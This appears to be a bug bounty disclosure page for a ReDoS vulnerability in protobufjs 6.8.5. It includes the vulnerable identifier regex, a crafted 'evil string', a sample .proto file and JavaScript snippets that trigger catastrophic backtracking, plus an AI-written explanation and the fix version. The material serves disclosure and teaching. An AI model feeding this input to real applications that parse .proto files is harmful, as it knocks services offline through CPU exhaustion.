`protobufjs` is vulnerable to ReDoS when parsing crafted invalid *.proto files
A regular expression in protobufjs used to validate identifiers is vulnerable to catastrophic backtracking, so parsing a crafted .proto file with a long string of letters followed by a non-matching character can cause excessive CPU usage. An attacker could cause denial of service by supplying such a file to an application that parses it.
- Triaged in 13 hours
- Fixed in 4 days
- Disclosed after 34 days
Summary by the researcher
Independently discovered by @davisjam (https://github.com/davisjam) some time earlier and reported though other channels.
Was fixed in v6.8.6 before this issue was passed down to protobufjs from this report.
The report
I would like to report a ReDoS in protobufjs
It allows to cause Denial of Service by trying to parse (or load) a crafted *.proto file.
Module
module name: protobufjs
version: 6.8.5
npm page: https://www.npmjs.com/package/[MODULE NAME]
Module Description
Protocol Buffers are a language-neutral, platform-neutral, extensible way of serializing structured data for use in communications protocols, data storage, and more, originally designed at Google (see).
Module Stats
-22 592 downloads in the last day 352 974 downloads in the last week 1 321 151 downloads in the last month
~15 853 812 estimated downloads per year
Vulnerability
Vulnerability Description
ReDoS.
- regex:
/^(?:\.?[a-zA-Z_][a-zA-Z_0-9]*)+$/ - evil string:
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx! - file: https://github.com/dcodeIO/protobuf.js/blob/6.8.5/src/parse.js#L27
Steps To Reproduce:
proto file:
// awesome.proto
package awesomepackage;
syntax = "proto3";
message AwesomeMessage {
option (my_option) = xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx!;
}
js file:
require('protobufjs').load("./awesome.proto", () => {});
or, just with parse:
require('protobufjs').parse(`
package awesomepackage;
syntax = "proto3";
message AwesomeMessage {
option (my_option) = xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx!;
}
`, () => {});
Supporting Material/References:
- Arch Linux Current
- Node.js 9.5.0
- npm 5.6.0
Wrap up
- I contacted the maintainer to let him know: N
- I opened an issue in the related repository: N
Impact
Cause denial of service by parsing a crafted *.proto file.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the regex uses a repeated group that can match the same characters in multiple ways, leading to exponential backtracking on a failing input.
Impact
Parsing a crafted .proto file can cause denial of service by consuming excessive CPU.
What the attacker needed
Ability to supply a .proto file to be parsed
The fix
The issue was fixed in version 6.8.6.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A regular expression (regex) is a pattern used to check text. Some regex patterns can take a very long time on certain inputs, a problem called ReDoS (Regular Expression Denial of Service). Here, a long string of letters followed by an exclamation mark makes the regex backtrack heavily, freezing the program.
What is DoS?
A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.